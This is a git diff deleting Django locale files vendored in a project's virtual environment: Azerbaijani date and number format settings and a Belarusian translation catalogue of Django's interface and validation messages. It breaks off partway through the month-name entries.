b/backend/venv/Lib/site-packages/django/conf/locale/az/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index e7a7c969..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/az/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/az/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/az/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index 717d6858..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/az/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/az/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/az/formats.py deleted file mode 100644 index 253b6ddd..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/az/formats.py +++ /dev/null @@ -1,30 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "j E Y" -TIME_FORMAT = "G:i" -DATETIME_FORMAT = "j E Y, G:i" -YEAR_MONTH_FORMAT = "F Y" -MONTH_DAY_FORMAT = "j F" -SHORT_DATE_FORMAT = "d.m.Y" -SHORT_DATETIME_FORMAT = "d.m.Y H:i" -FIRST_DAY_OF_WEEK = 1 # Monday - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -DATE_INPUT_FORMATS = [ - "%d.%m.%Y", # '25.10.2006' - "%d.%m.%y", # '25.10.06' -] -DATETIME_INPUT_FORMATS = [ - "%d.%m.%Y %H:%M:%S", # '25.10.2006 14:30:59' - "%d.%m.%Y %H:%M:%S.%f", # '25.10.2006 14:30:59.000200' - "%d.%m.%Y %H:%M", # '25.10.2006 14:30' - "%d.%m.%y %H:%M:%S", # '25.10.06 14:30:59' - "%d.%m.%y %H:%M:%S.%f", # '25.10.06 14:30:59.000200' - "%d.%m.%y %H:%M", # '25.10.06 14:30' -] -DECIMAL_SEPARATOR = "," -THOUSAND_SEPARATOR = "\xa0" # non-breaking space -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/be/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/be/LC_MESSAGES/django.mo deleted file mode 100644 index 9c04ff16..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/be/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/be/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/be/LC_MESSAGES/django.po deleted file mode 100644 index a8172066..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/be/LC_MESSAGES/django.po +++ /dev/null @@ -1,1391 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Viktar Palstsiuk , 2014-2015 -# znotdead , 2016-2017,2019-2021,2023-2024 -# Bobsans , 2016 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2024-05-22 11:46-0300\n" -"PO-Revision-Date: 2024-08-07 06:49+0000\n" -"Last-Translator: znotdead , " -"2016-2017,2019-2021,2023-2024\n" -"Language-Team: Belarusian (http://app.transifex.com/django/django/language/" -"be/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: be\n" -"Plural-Forms: nplurals=4; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && " -"n%10<=4 && (n%100<12 || n%100>14) ? 1 : n%10==0 || (n%10>=5 && n%10<=9) || " -"(n%100>=11 && n%100<=14)? 2 : 3);\n" - -msgid "Afrikaans" -msgstr "Афрыкаанс" - -msgid "Arabic" -msgstr "Арабская" - -msgid "Algerian Arabic" -msgstr "Алжырская арабская" - -msgid "Asturian" -msgstr "Астурыйская" - -msgid "Azerbaijani" -msgstr "Азэрбайджанская" - -msgid "Bulgarian" -msgstr "Баўгарская" - -msgid "Belarusian" -msgstr "Беларуская" - -msgid "Bengali" -msgstr "Бэнґальская" - -msgid "Breton" -msgstr "Брэтонская" - -msgid "Bosnian" -msgstr "Басьнійская" - -msgid "Catalan" -msgstr "Каталёнская" - -msgid "Central Kurdish (Sorani)" -msgstr "Цэнтральнакурдская (сарані)" - -msgid "Czech" -msgstr "Чэская" - -msgid "Welsh" -msgstr "Валійская" - -msgid "Danish" -msgstr "Дацкая" - -msgid "German" -msgstr "Нямецкая" - -msgid "Lower Sorbian" -msgstr "Ніжнелужыцкая" - -msgid "Greek" -msgstr "Грэцкая" - -msgid "English" -msgstr "Анґельская" - -msgid "Australian English" -msgstr "Анґельская (Аўстралія)" - -msgid "British English" -msgstr "Анґельская (Брытанская)" - -msgid "Esperanto" -msgstr "Эспэранта" - -msgid "Spanish" -msgstr "Гішпанская" - -msgid "Argentinian Spanish" -msgstr "Гішпанская (Арґентына)" - -msgid "Colombian Spanish" -msgstr "Гішпанская (Калумбія)" - -msgid "Mexican Spanish" -msgstr "Гішпанская (Мэксыка)" - -msgid "Nicaraguan Spanish" -msgstr "Гішпанская (Нікараґуа)" - -msgid "Venezuelan Spanish" -msgstr "Іспанская (Вэнэсуэла)" - -msgid "Estonian" -msgstr "Эстонская" - -msgid "Basque" -msgstr "Басконская" - -msgid "Persian" -msgstr "Фарсі" - -msgid "Finnish" -msgstr "Фінская" - -msgid "French" -msgstr "Француская" - -msgid "Frisian" -msgstr "Фрызкая" - -msgid "Irish" -msgstr "Ірляндзкая" - -msgid "Scottish Gaelic" -msgstr "Гэльская шатляндзкая" - -msgid "Galician" -msgstr "Ґальская" - -msgid "Hebrew" -msgstr "Габрэйская" - -msgid "Hindi" -msgstr "Гінды" - -msgid "Croatian" -msgstr "Харвацкая" - -msgid "Upper Sorbian" -msgstr "Верхнелужыцкая" - -msgid "Hungarian" -msgstr "Вугорская" - -msgid "Armenian" -msgstr "Армянскі" - -msgid "Interlingua" -msgstr "Інтэрлінгва" - -msgid "Indonesian" -msgstr "Інданэзійская" - -msgid "Igbo" -msgstr "Ігба" - -msgid "Ido" -msgstr "Іда" - -msgid "Icelandic" -msgstr "Ісьляндзкая" - -msgid "Italian" -msgstr "Італьянская" - -msgid "Japanese" -msgstr "Японская" - -msgid "Georgian" -msgstr "Грузінская" - -msgid "Kabyle" -msgstr "Кабільскі" - -msgid "Kazakh" -msgstr "Казаская" - -msgid "Khmer" -msgstr "Кхмерская" - -msgid "Kannada" -msgstr "Каннада" - -msgid "Korean" -msgstr "Карэйская" - -msgid "Kyrgyz" -msgstr "Кіргізская" - -msgid "Luxembourgish" -msgstr "Люксэмбургская" - -msgid "Lithuanian" -msgstr "Літоўская" - -msgid "Latvian" -msgstr "Латыская" - -msgid "Macedonian" -msgstr "Македонская" - -msgid "Malayalam" -msgstr "Малаялам" - -msgid "Mongolian" -msgstr "Манґольская" - -msgid "Marathi" -msgstr "Маратхі" - -msgid "Malay" -msgstr "Малайская" - -msgid "Burmese" -msgstr "Бірманская" - -msgid "Norwegian Bokmål" -msgstr "Нарвэская букмал" - -msgid "Nepali" -msgstr "Нэпальская" - -msgid "Dutch" -msgstr "Галяндзкая" - -msgid "Norwegian Nynorsk" -msgstr "Нарвэская нюнорск" - -msgid "Ossetic" -msgstr "Асяцінская" - -msgid "Punjabi" -msgstr "Панджабі" - -msgid "Polish" -msgstr "Польская" - -msgid "Portuguese" -msgstr "Партуґальская" - -msgid "Brazilian Portuguese" -msgstr "Партуґальская (Бразылія)" - -msgid "Romanian" -msgstr "Румынская" - -msgid "Russian" -msgstr "Расейская" - -msgid "Slovak" -msgstr "Славацкая" - -msgid "Slovenian" -msgstr "Славенская" - -msgid "Albanian" -msgstr "Альбанская" - -msgid "Serbian" -msgstr "Сэрбская" - -msgid "Serbian Latin" -msgstr "Сэрбская (лацінка)" - -msgid "Swedish" -msgstr "Швэдзкая" - -msgid "Swahili" -msgstr "Суахілі" - -msgid "Tamil" -msgstr "Тамільская" - -msgid "Telugu" -msgstr "Тэлуґу" - -msgid "Tajik" -msgstr "Таджыкскі" - -msgid "Thai" -msgstr "Тайская" - -msgid "Turkmen" -msgstr "Туркменская" - -msgid "Turkish" -msgstr "Турэцкая" - -msgid "Tatar" -msgstr "Татарская" - -msgid "Udmurt" -msgstr "Удмурцкая" - -msgid "Uyghur" -msgstr "Уйгурскі" - -msgid "Ukrainian" -msgstr "Украінская" - -msgid "Urdu" -msgstr "Урду" - -msgid "Uzbek" -msgstr "Узбецкі" - -msgid "Vietnamese" -msgstr "Віетнамская" - -msgid "Simplified Chinese" -msgstr "Кітайская (спрошчаная)" - -msgid "Traditional Chinese" -msgstr "Кітайская (звычайная)" - -msgid "Messages" -msgstr "Паведамленні" - -msgid "Site Maps" -msgstr "Мапы сайту" - -msgid "Static Files" -msgstr "Cтатычныя файлы" - -msgid "Syndication" -msgstr "Сындыкацыя" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "..." - -msgid "That page number is not an integer" -msgstr "Лік гэтай старонкі не з'яўляецца цэлым лікам" - -msgid "That page number is less than 1" -msgstr "Лік старонкі менш чым 1" - -msgid "That page contains no results" -msgstr "Гэтая старонка не мае ніякіх вынікаў" - -msgid "Enter a valid value." -msgstr "Пазначце правільнае значэньне." - -msgid "Enter a valid domain name." -msgstr "Пазначце сапраўднае даменнае имя." - -msgid "Enter a valid URL." -msgstr "Пазначце чынную спасылку." - -msgid "Enter a valid integer." -msgstr "Увядзіце цэлы лік." - -msgid "Enter a valid email address." -msgstr "Увядзіце сапраўдны адрас электроннай пошты." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" -"Значэнне павінна быць толькі з літараў, личбаў, знакаў падкрэслівання ці " -"злучкі." - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" -"Значэнне павінна быць толькі з літараў стандарту Unicode, личбаў, знакаў " -"падкрэслівання ці злучкі." - -#, python-format -msgid "Enter a valid %(protocol)s address." -msgstr "Пазначце сапраўдны %(protocol)s адрас." - -msgid "IPv4" -msgstr "IPv4" - -msgid "IPv6" -msgstr "IPv6" - -msgid "IPv4 or IPv6" -msgstr "IPv4 або IPv6" - -msgid "Enter only digits separated by commas." -msgstr "Набярыце лічбы, падзеленыя коскамі." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "" -"Упэўніцеся, што гэтае значэньне — %(limit_value)s (зараз яно — " -"%(show_value)s)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "Значэньне мусіць быць меншым або роўным %(limit_value)s." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "Значэньне мусіць быць большым або роўным %(limit_value)s." - -#, python-format -msgid "Ensure this value is a multiple of step size %(limit_value)s." -msgstr "Пераканайцеся, што гэта значэнне кратнае памеру кроку %(limit_value)s." - -#, python-format -msgid "" -"Ensure this value is a multiple of step size %(limit_value)s, starting from " -"%(offset)s, e.g. %(offset)s, %(valid_value1)s, %(valid_value2)s, and so on." -msgstr "" -"Пераканайцеся, што гэта значэнне кратнае памеру кроку %(limit_value)s, " -"пачынаючы з %(offset)s, напрыклад. %(offset)s, %(valid_value1)s, " -"%(valid_value2)s, і гэтак далей." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Упэўніцеся, што гэтае значэнне мае не менш %(limit_value)d сімвал (зараз " -"%(show_value)d)." -msgstr[1] "" -"Упэўніцеся, што гэтае значэнне мае не менш %(limit_value)d сімвала (зараз " -"%(show_value)d)." -msgstr[2] "" -"Упэўніцеся, што гэтае значэнне мае не менш %(limit_value)d сімвалаў (зараз " -"%(show_value)d)." -msgstr[3] "" -"Упэўніцеся, што гэтае значэнне мае не менш %(limit_value)d сімвалаў (зараз " -"%(show_value)d)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Упэўніцеся, што гэтае значэнне мае не болей %(limit_value)d сімвал (зараз " -"%(show_value)d)." -msgstr[1] "" -"Упэўніцеся, што гэтае значэнне мае не болей %(limit_value)d сімвала (зараз " -"%(show_value)d)." -msgstr[2] "" -"Упэўніцеся, што гэтае значэнне мае не болей %(limit_value)d сімвалаў (зараз " -"%(show_value)d)." -msgstr[3] "" -"Упэўніцеся, што гэтае значэнне мае не болей %(limit_value)d сімвалаў (зараз " -"%(show_value)d)." - -msgid "Enter a number." -msgstr "Набярыце лік." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "Упэўніцеся, што набралі ня болей за %(max)s лічбу." -msgstr[1] "Упэўніцеся, што набралі ня болей за %(max)s лічбы." -msgstr[2] "Упэўніцеся, што набралі ня болей за %(max)s лічбаў." -msgstr[3] "Упэўніцеся, што набралі ня болей за %(max)s лічбаў." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "Упэўніцеся, што набралі ня болей за %(max)s лічбу пасьля коскі." -msgstr[1] "Упэўніцеся, што набралі ня болей за %(max)s лічбы пасьля коскі." -msgstr[2] "Упэўніцеся, што набралі ня болей за %(max)s лічбаў пасьля коскі." -msgstr[3] "Упэўніцеся, што набралі ня болей за %(max)s лічбаў пасьля коскі." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "Упэўніцеся, што набралі ня болей за %(max)s лічбу да коскі." -msgstr[1] "Упэўніцеся, што набралі ня болей за %(max)s лічбы да коскі." -msgstr[2] "Упэўніцеся, што набралі ня болей за %(max)s лічбаў да коскі." -msgstr[3] "Упэўніцеся, што набралі ня болей за %(max)s лічбаў да коскі." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" -"Пашырэнне файла “%(extension)s” не дапускаецца. Дапушчальныя пашырэння: " -"%(allowed_extensions)s." - -msgid "Null characters are not allowed." -msgstr "Null сімвалы не дапускаюцца." - -msgid "and" -msgstr "і" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "%(model_name)s з такім %(field_labels)s ужо існуе." - -#, python-format -msgid "Constraint “%(name)s” is violated." -msgstr "Абмежаванне \"%(name)s\" парушана." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "Значэнне %(value)r не з'яўляецца правільным выбарам." - -msgid "This field cannot be null." -msgstr "Поле ня можа мець значэньне «null»." - -msgid "This field cannot be blank." -msgstr "Трэба запоўніць поле." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(model_name)s з такім %(field_label)s ужо існуе." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or -#. 'month'. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"%(field_label)s павінна быць унікальна для %(date_field_label)s " -"%(lookup_type)s." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Палі віду: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "Значэньне “%(value)s” павінна быць True альбо False." - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "Значэньне “%(value)s” павінна быць True, False альбо None." - -msgid "Boolean (Either True or False)" -msgstr "Ляґічнае («сапраўдна» або «не сапраўдна»)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "Радок (ня болей за %(max_length)s)" - -msgid "String (unlimited)" -msgstr "Радок (неабмежаваны)" - -msgid "Comma-separated integers" -msgstr "Цэлыя лікі, падзеленыя коскаю" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" -"Значэнне “%(value)s” мае няправільны фармат. Яно павінна быць у фармаце ГГГГ-" -"ММ-ДД." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" -"Значэнне “%(value)s” мае правільны фармат(ГГГГ-ММ-ДД) але гэта несапраўдная " -"дата." - -msgid "Date (without time)" -msgstr "Дата (бяз часу)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" -"Значэнне “%(value)s” мае няправільны фармат. Яно павінна быць у фармаце ГГГГ-" -"ММ-ДД ГГ:ХХ[:сс[.мммммм]][ЧА], дзе ЧА — часавы абсяг." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" -"Значэнне “%(value)s” мае правільны фармат (ГГГГ-ММ-ДД ГГ:ХХ[:сс[.мммммм]]" -"[ЧА], дзе ЧА — часавы абсяг) але гэта несапраўдныя дата/час." - -msgid "Date (with time)" -msgstr "Дата (разам з часам)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "Значэньне “%(value)s” павінна быць дзесятковым лікам." - -msgid "Decimal number" -msgstr "Дзесятковы лік" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" -"Значэньне “%(value)s” мае няправільны фармат. Яно павінна быць у фармаце " -"[ДД] [ГГ:[ХХ:]]сс[.мммммм]." - -msgid "Duration" -msgstr "Працягласць" - -msgid "Email address" -msgstr "Адрас эл. пошты" - -msgid "File path" -msgstr "Шлях да файла" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "Значэньне “%(value)s” павінна быць дробным лікам." - -msgid "Floating point number" -msgstr "Лік зь пераноснай коскаю" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "Значэньне “%(value)s” павінна быць цэлым лікам." - -msgid "Integer" -msgstr "Цэлы лік" - -msgid "Big (8 byte) integer" -msgstr "Вялікі (8 байтаў) цэлы" - -msgid "Small integer" -msgstr "Малы цэлы лік" - -msgid "IPv4 address" -msgstr "Адрас IPv4" - -msgid "IP address" -msgstr "Адрас IP" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "Значэньне “%(value)s” павінна быць None, True альбо False." - -msgid "Boolean (Either True, False or None)" -msgstr "Ляґічнае («сапраўдна», «не сапраўдна» ці «нічога»)" - -msgid "Positive big integer" -msgstr "Дадатны вялікі цэлы лік" - -msgid "Positive integer" -msgstr "Дадатны цэлы лік" - -msgid "Positive small integer" -msgstr "Дадатны малы цэлы лік" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Бірка (ня болей за %(max_length)s)" - -msgid "Text" -msgstr "Тэкст" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" -"Значэньне “%(value)s” мае няправільны фармат. Яно павінна быць у фармаце ГГ:" -"ХХ[:сс[.мммммм]]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" -"Значэнне “%(value)s” мае правільны фармат (ГГ:ХХ[:сс[.мммммм]]) але гэта " -"несапраўдны час." - -msgid "Time" -msgstr "Час" - -msgid "URL" -msgstr "Сеціўная спасылка" - -msgid "Raw binary data" -msgstr "Неапрацаваныя бінарныя зьвесткі" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "“%(value)s” не з'яўляецца дапушчальным UUID." - -msgid "Universally unique identifier" -msgstr "Універсальны непаўторны ідэнтыфікатар" - -msgid "File" -msgstr "Файл" - -msgid "Image" -msgstr "Выява" - -msgid "A JSON object" -msgstr "Аб'ект JSON" - -msgid "Value must be valid JSON." -msgstr "Значэньне павінна быць сапраўдным JSON." - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "Экземпляр %(model)s з %(field)s %(value)r не iснуе." - -msgid "Foreign Key (type determined by related field)" -msgstr "Вонкавы ключ (від вызначаецца паводле зьвязанага поля)" - -msgid "One-to-one relationship" -msgstr "Сувязь «адзін да аднаго»" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "Сувязь %(from)s-%(to)s" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "Сувязi %(from)s-%(to)s" - -msgid "Many-to-many relationship" -msgstr "Сувязь «некалькі да некалькіх»" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "Поле трэба запоўніць." - -msgid "Enter a whole number." -msgstr "Набярыце ўвесь лік." - -msgid "Enter a valid date." -msgstr "Пазначце чынную дату." - -msgid "Enter a valid time." -msgstr "Пазначце чынны час." - -msgid "Enter a valid date/time." -msgstr "Пазначце чынныя час і дату." - -msgid "Enter a valid duration." -msgstr "Увядзіце сапраўдны тэрмін." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "Колькасць дзён павінна быць паміж {min_days} i {max_days}." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "Файл не даслалі. Зірніце кадоўку блянку." - -msgid "No file was submitted." -msgstr "Файл не даслалі." - -msgid "The submitted file is empty." -msgstr "Дасланы файл — парожні." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"Упэўніцеся, што гэтае імя файлу мае не болей %(max)d сімвал (зараз " -"%(length)d)." -msgstr[1] "" -"Упэўніцеся, што гэтае імя файлу мае не болей %(max)d сімвала (зараз " -"%(length)d)." -msgstr[2] "" -"Упэўніцеся, што гэтае імя файлу мае не болей %(max)d сімвалаў (зараз " -"%(length)d)." -msgstr[3] "" -"Упэўніцеся, што гэтае імя файлу мае не болей %(max)d сімвалаў (зараз " -"%(length)d)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "" -"Трэба або даслаць файл, або абраць «Ачысьціць», але нельга рабіць гэта " -"адначасова." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Запампаваць чынны малюнак. Запампавалі або не выяву, або пашкоджаную выяву." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "Абярыце дазволенае. %(value)s няма ў даступных значэньнях." - -msgid "Enter a list of values." -msgstr "Упішыце сьпіс значэньняў." - -msgid "Enter a complete value." -msgstr "Калі ласка, увядзіце поўнае значэньне." - -msgid "Enter a valid UUID." -msgstr "Увядзіце сапраўдны UUID." - -msgid "Enter a valid JSON." -msgstr "Пазначце сапраўдны JSON." - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Схаванае поле %(name)s) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" -"Дадзеныя формы ManagementForm адсутнічаюць ці былі падменены. Адсутнічаюць " -"палі: %(field_names)s. Магчыма, вам спатрэбіцца падаць справаздачу пра " -"памылку, калі праблема захоўваецца." - -#, python-format -msgid "Please submit at most %(num)d form." -msgid_plural "Please submit at most %(num)d forms." -msgstr[0] "Калі ласка, адпраўце не болей чым %(num)d формаў." -msgstr[1] "Калі ласка, адпраўце не болей чым %(num)d формаў." -msgstr[2] "Калі ласка, адпраўце не болей чым %(num)d формаў." -msgstr[3] "Калі ласка, адпраўце не болей чым %(num)d формаў." - -#, python-format -msgid "Please submit at least %(num)d form." -msgid_plural "Please submit at least %(num)d forms." -msgstr[0] "Калі ласка, адпраўце не менш чым %(num)d формаў." -msgstr[1] "Калі ласка, адпраўце не менш чым %(num)d формаў." -msgstr[2] "Калі ласка, адпраўце не менш чым %(num)d формаў." -msgstr[3] "Калі ласка, адпраўце не менш чым %(num)d формаў." - -msgid "Order" -msgstr "Парадак" - -msgid "Delete" -msgstr "Выдаліць" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "У полі «%(field)s» выпраўце зьвесткі, якія паўтараюцца." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "Выпраўце зьвесткі ў полі «%(field)s»: нельга, каб яны паўтараліся." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Выпраўце зьвесткі ў полі «%(field_name)s»: нельга каб зьвесткі ў " -"«%(date_field)s» для «%(lookup)s» паўтараліся." - -msgid "Please correct the duplicate values below." -msgstr "Выпраўце зьвесткі, якія паўтараюцца (гл. ніжэй)." - -msgid "The inline value did not match the parent instance." -msgstr "Убудаванае значэнне не супадае з бацькоўскім значэннем." - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "Абярыце дазволенае. Абранага няма ў даступных значэньнях." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "“%(pk)s” не сапраўднае значэнне." - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" -"У часавым абсягу %(current_timezone)s нельга зразумець дату %(datetime)s: " -"яна можа быць неадназначнаю або яе можа не існаваць." - -msgid "Clear" -msgstr "Ачысьціць" - -msgid "Currently" -msgstr "Зараз" - -msgid "Change" -msgstr "Зьмяніць" - -msgid "Unknown" -msgstr "Невядома" - -msgid "Yes" -msgstr "Так" - -msgid "No" -msgstr "Не" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "так,не,магчыма" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d байт" -msgstr[1] "%(size)d байты" -msgstr[2] "%(size)d байтаў" -msgstr[3] "%(size)d байтаў" - -#, python-format -msgid "%s KB" -msgstr "%s КБ" - -#, python-format -msgid "%s MB" -msgstr "%s МБ" - -#, python-format -msgid "%s GB" -msgstr "%s ҐБ" - -#, python-format -msgid "%s TB" -msgstr "%s ТБ" - -#, python-format -msgid "%s PB" -msgstr "%s ПБ" - -msgid "p.m." -msgstr "папаўдні" - -msgid "a.m." -msgstr "папоўначы" - -msgid "PM" -msgstr "папаўдні" - -msgid "AM" -msgstr "папоўначы" - -msgid "midnight" -msgstr "поўнач" - -msgid "noon" -msgstr "поўдзень" - -msgid "Monday" -msgstr "Панядзелак" - -msgid "Tuesday" -msgstr "Аўторак" - -msgid "Wednesday" -msgstr "Серада" - -msgid "Thursday" -msgstr "Чацьвер" - -msgid "Friday" -msgstr "Пятніца" - -msgid "Saturday" -msgstr "Субота" - -msgid "Sunday" -msgstr "Нядзеля" - -msgid "Mon" -msgstr "Пн" - -msgid "Tue" -msgstr "Аў" - -msgid "Wed" -msgstr "Ср" - -msgid "Thu" -msgstr "Чц" - -msgid "Fri" -msgstr "Пт" - -msgid "Sat" -msgstr "Сб" - -msgid "Sun" -msgstr "Нд" - -msgid "January" -msgstr "студзеня" - -msgid "February" -msgstr "лютага" - -msgid "March" -msgstr "сакавік" - -msgid "April" -msgstr "красавіка" - -msgid "May" -msgstr "траўня" - -msgid "June" -msgstr "чэрвеня" - -msgid "July" -msgstr "ліпеня" - -msgid "August" -msgstr "жніўня" - -msgid "September" -msgstr "верасьня" - -msgid "October" -msgstr "кастрычніка" - -msgid "November" -msgstr "лістапада" - -msgid "December" -msgstr "сьнежня" - -msgid "jan" -msgstr "сту" - -msgid "feb" -msgstr "лют" - -msgid "mar" -msgstr "сак" - -msgid "apr" -msgstr "кра" - -msgid "may" -msgstr "тра" - -msgid "jun" -msgstr "чэр" - -msgid "jul" -msgstr "ліп" - -msgid "aug" -msgstr "жні" - -msgid "sep" -msgstr "вер" - -msgid "oct" -msgstr "кас" - -msgid "nov" -msgstr "ліс" - -msgid "dec" -msgstr "сьн" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "Сту." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "Люты" - -msgctxt "abbrev. month" -msgid "March" -msgstr "сакавік" - -msgctxt "abbrev. month" -msgid "April" -msgstr "красавіка" - -msgctxt "abbrev. month" -msgid "May" -msgstr "траўня" - -msgctxt "abbrev. month" -msgid "June" -msgstr "чэрвеня" - -msgctxt "abbrev. month" -msgid "July" -msgstr "ліпеня" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "Жні." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "Вер." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "Кас." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "Ліс." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "Сьн." - -msgctxt "alt. month" -msgid "January" -msgstr "студзеня" - -msgctxt "alt. month" -msgid "February" -msgstr "лютага" - -msgctxt "alt. month" -msgid "March" -msgstr "сакавік" - -msgctxt "alt. month" -msgid "April" -msgstr "красавіка" - -msgctxt "alt. month" -msgid "May" -msgstr "траўня" - -msgctxt "alt. month" -msgid "June" -msgstr "чэрвеня" - -msgctxt "alt. month" -msgid "July" -msgstr 